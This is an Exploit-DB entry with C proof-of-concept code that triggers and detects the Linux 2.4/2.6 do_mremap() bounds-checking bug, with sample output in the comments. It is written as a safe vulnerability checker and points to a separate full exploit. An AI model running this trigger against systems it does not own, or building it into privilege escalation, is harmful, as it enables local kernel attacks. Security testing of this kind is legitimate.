Exploit-DB #142
Description: Linux Kernel 2.4.23/2.6.0 - 'do_mremap()' Bound Checking Validator (2)
Type: local
Platform: linux
Date: 2004-01-07
Author: Christophe Devine

Exploit:
/*
 *  EDB Note: This will just "test" the vulnerability. 
*   EDB Note: An exploit version can be found here ~ https://www.exploit-db.com/exploits/145/
*/

/* 
 * Proof of concept code for testing do_mremap() Linux kernel bug.
 * It is based on the code by Christophe Devine and Julien Tinnes
 * posted on Bugtraq mailing list on 5 Jan 2004 but it's safer since 
 * it avoids any kernel data corruption.
 *
 * The following test was done against the Linux kernel 2.6.0. Similar 
 * results were obtained against the kernel 2.4.23 and previous ones.
 *
 * buffer@mintaka:~$ gcc -o mremap_bug mremap_bug.c
 * buffer@mintaka:~$ ./mremap_bug
 *
 * Base address : 0x60000000
 * 
 * [PII_REDACTED] r-xp 00000000 03:03 2694       /home/buffer/mremap_bug
 * 08[PII_REDACTED]a000 rw-p 00000000 03:03 2694       /home/buffer/mremap_bug
 * [PII_REDACTED] r-xp 00000000 03:01 52619      /lib/ld-2.3.2.so
 * [PII_REDACTED] rw-p 00014000 03:01 52619      /lib/ld-2.3.2.so
 * [PII_REDACTED] rw-p 00000000 00:00 0
 * [PII_REDACTED] r-xp 00000000 03:01 52588      /lib/libc-2.3.2.so
 * [PII_REDACTED] rw-p 0012f000 03:01 52588      /lib/libc-2.3.2.so
 * [PII_REDACTED] rw-p 00000000 00:00 0
 * [PII_REDACTED] rw-p 00000000 00:00 0
 * bfffd000-c0000000 rwxp ffffe000 00:00 0
 * 
 * Remapping at 0x70000000...
 * 
 * [PII_REDACTED] r-xp 00000000 03:03 2694       /home/buffer/mremap_bug
 * 08[PII_REDACTED]a000 rw-p 00000000 03:03 2694       /home/buffer/mremap_bug
 * [PII_REDACTED] r-xp 00000000 03:01 52619      /lib/ld-2.3.2.so
 * [PII_REDACTED] rw-p 00014000 03:01 52619      /lib/ld-2.3.2.so
 * [PII_REDACTED] rw-p 00000000 00:00 0
 * [PII_REDACTED] r-xp 00000000 03:01 52588      /lib/libc-2.3.2.so
 * [PII_REDACTED] rw-p 0012f000 03:01 52588      /lib/libc-2.3.2.so
 * [PII_REDACTED] rw-p 00000000 00:00 0
 * [PII_REDACTED] rw-p 00000000 00:00 0
 * [PII_REDACTED] rw-p 00000000 00:00 0
 * bfffd000-c0000000 rwxp ffffe000 00:00 0
 * 
 * Report :
 * This kernel appears to be VULNERABLE
 *
 * Segmentation fault
 * buffer@mintaka:~$
 */

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <asm/unistd.h>
#include <errno.h>
  
#define MREMAP_FIXED    2

#define PAGESIZE 4096
#define VMASIZE  (2*PAGESIZE)
#define BUFSIZE  8192

#define __NR_real_mremap __NR_mremap

static inline _syscall5( void *, real_mremap, void *, old_address,
                         size_t, old_size, size_t, new_size,
                         unsigned long, flags, void *, new_address );

#define MAPS_NO_CHECK 0
#define MAPS_CHECK    1

int mremap_check = 0;

void maps_check(char *buf)
{
	if (strstr(buf, "70000000"))
	    mremap_check++;
}

void read_maps(int fd, char *path, unsigned long flag) 
{
	ssize_t  nbytes;
        char     buf[BUFSIZE];

	if (lseek(fd, 0, SEEK_SET) < 0) {
		fprintf(stderr, "Unable to lseek %s\n", path);
		return;
	}

	while ( (nbytes = read(fd, buf, BUFSIZE)) > 0) {

		if (flag & MAPS_CHECK)
			maps_check(buf);

		if (write(STDOUT_FILENO, buf, nbytes) != nbytes) {
			fprintf(stderr, "Unable to read %s\n", path);
			exit (1);
		}
	}
}

int main(int argc, char **argv)
{
	void     *base;
	char     path[16];
	pid_t    pid;
	int      fd;
	
	pid = getpid();
	sprintf(path, "/proc/%d/maps", pid);

	if ( !(fd = open(path, O_RDONLY))) {
		fprintf(stderr, "Unable to open %s\n", path);
		return 1;
	}

	base = mmap((void *)0x60000000, VMASIZE, PROT_READ | PROT_WRITE,
		    MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);

	printf("\nBase address : 0x%x\n\n", base);
	read_maps(fd, path, MAPS_NO_CHECK);

	printf("\nRemapping at 0x70000000...\n\n");
	base = real_mremap(base, 0, 0, MREMAP_MAYMOVE | MREMAP_FIXED,
			   (void *)0x70000000);

	read_maps(fd, path, MAPS_CHECK);

	printf("\nReport : \n");
	(mremap_check) 
		? printf("This kernel appears to be VULNERABLE\n\n")
		: printf("This kernel appears to be NOT VULNERABLE\n\n");

	close(fd);
	return 0;
}

// milw0rm.com [2004-01-07]